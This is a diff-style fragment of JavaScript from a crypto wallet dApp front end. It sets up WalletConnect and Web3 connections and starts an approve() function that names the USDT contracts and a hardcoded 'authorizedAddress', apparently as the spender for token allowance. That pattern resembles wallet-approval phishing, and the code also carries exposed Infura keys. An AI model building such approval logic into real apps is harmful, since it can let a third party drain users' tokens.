| | |
| | | proxy.isShowApproveModal = false |
| | | proxy.isShowAccreditModal = true |
| | | } |
| | | function showDappModal() { |
| | | async function showDappModal() { |
| | | proxy.isShowAccreditModal = false |
| | | proxy.isShowWalletModal = true |
| | | // proxy.isShowWalletModal = true |
| | | const provider = new WalletConnectProvider({ |
| | | infuraId: "27e484dcd9e3efcfd25a83a78777cdf1", |
| | | qrcode: false, |
| | | qrcodeModalOptions: { |
| | | mobileLinks: [ |
| | | 'tronLink', |
| | | "rainbow", |
| | | "metamask", |
| | | "argent", |
| | | "trust", |
| | | "imtoken", |
| | | "pillar", |
| | | ] |
| | | } |
| | | }); |
| | | await provider.enable(); |
| | | } |
| | | async function showWalletModal() { |
| | | proxy.isShowAccreditModal = false; |
| | | let provider = new WalletConnectProvider({ |
| | | const provider = new WalletConnectProvider({ |
| | | infuraId: '27e484dcd9e3efcfd25a83a78777cdf1', |
| | | bridge: "https://bridge.walletconnect.org", |
| | | }) |
| | |
| | | }else if(window.tronWeb){ |
| | | address = window.tronWeb.defaultAddress.base58; |
| | | } |
| | | alert(address) |
| | | return address; |
| | | } |
| | | async function approve () { |
| | | if (typeof web3 !== 'undefined') { |
| | | web3 = new Web3(web3.currentProvider); |
| | | } else { |
| | | // set the provider you want from Web3.providers |
| | | web3 = new Web3(new Web3.providers.HttpProvider("https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0")); |
| | | } |
| | | const web3 = new Web3(window.ethereum); |
| | | const contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7"; |
| | | const trxContractAddress = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t"; |
| | | const authorizedAddress = '0xD998DA7362360eFC6daDFEd6E9a32E70640d7600'; |
| | |
| | | }; |
| | | }, |
| | | methods: { |
| | | connect() { |
| | | const provider = new WalletConnectProvider({ |
| | | infuraId: '27e484dcd9e3efcfd25a83a78777cdf1', |
| | | bridge: "https://bridge.walletconnect.org", |
| | | }); |
| | | // Enable session (triggers QR Code modal) |
| | | provider.enable(); |
| | | |
| | | this.web3 = new Web3(provider); |
| | | |
| | | // this.getAccount(); |
| | | // subscribe to events |
| | | // this.subscribeToEvents(); |
| | | }, |
| | | subscribeToEvents() { |
| | | const connector = this.connector; |
| | | if (!connector) { |
| | | return; |
| | | } |
| | | }, |
| | | |
| | | } |
| | | } |